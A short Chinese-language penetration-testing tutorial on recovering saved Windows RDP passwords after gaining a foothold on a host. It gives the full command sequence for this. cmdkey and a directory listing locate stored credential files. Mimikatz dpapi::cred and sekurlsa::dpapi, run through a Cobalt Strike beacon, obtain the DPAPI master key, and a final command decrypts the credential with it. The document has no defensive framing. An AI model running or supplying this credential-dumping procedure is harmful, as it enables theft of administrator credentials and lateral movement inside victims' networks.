內網滲透之獲取windows遠程桌面（RDP）連接記錄密碼

利用條件：就是 mstsc 連接的時候，管理員勾選了自動保存密碼連接的選項。

# 可疑通過cmdkey /list查看是否保存了憑據
>cmdkey /list

1、查找本地的 Credentials

dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*

2、mimikatz

beacon> mimikatz dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\A1AB82F3D34D455BC2EA963AE7B14B85

得到 guidMasterKey {877c4ae6-d114-4851-b9ab-c8d23c7f09a6}

3、使用 sekurlsa::dpapi

beacon> mimikatz sekurlsa::dpapi
[*] Tasked beacon to run mimikatz's sekurlsa::dpapi command

根據 guidMasterKey {877c4ae6-d114-4851-b9ab-c8d23c7f09a6} 找到 masterkey

MasterKey：

7ee7b210867c0bb32fe4414c0c56909f1716ec3b40eb2db824aa317701f87a3bae1df728cb513f7f94e34ad50df6915578464ac708ad7c96a30aa3d96dfcc3c0

4、解密

mimikatz dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\A1AB82F3D34D455BC2EA963AE7B14B85 /masterkey:7ee7b210867c0bb32fe4414c0c56909f1716ec3b40eb2db824aa317701f87a3bae1df728cb513f7f94e34ad50df6915578464ac708ad7c96a30aa3d96dfcc3c0

cs 的 taowu 插件也有模塊可以達到同樣的效果，獲取 windows 遠程桌面的連接記錄的密碼
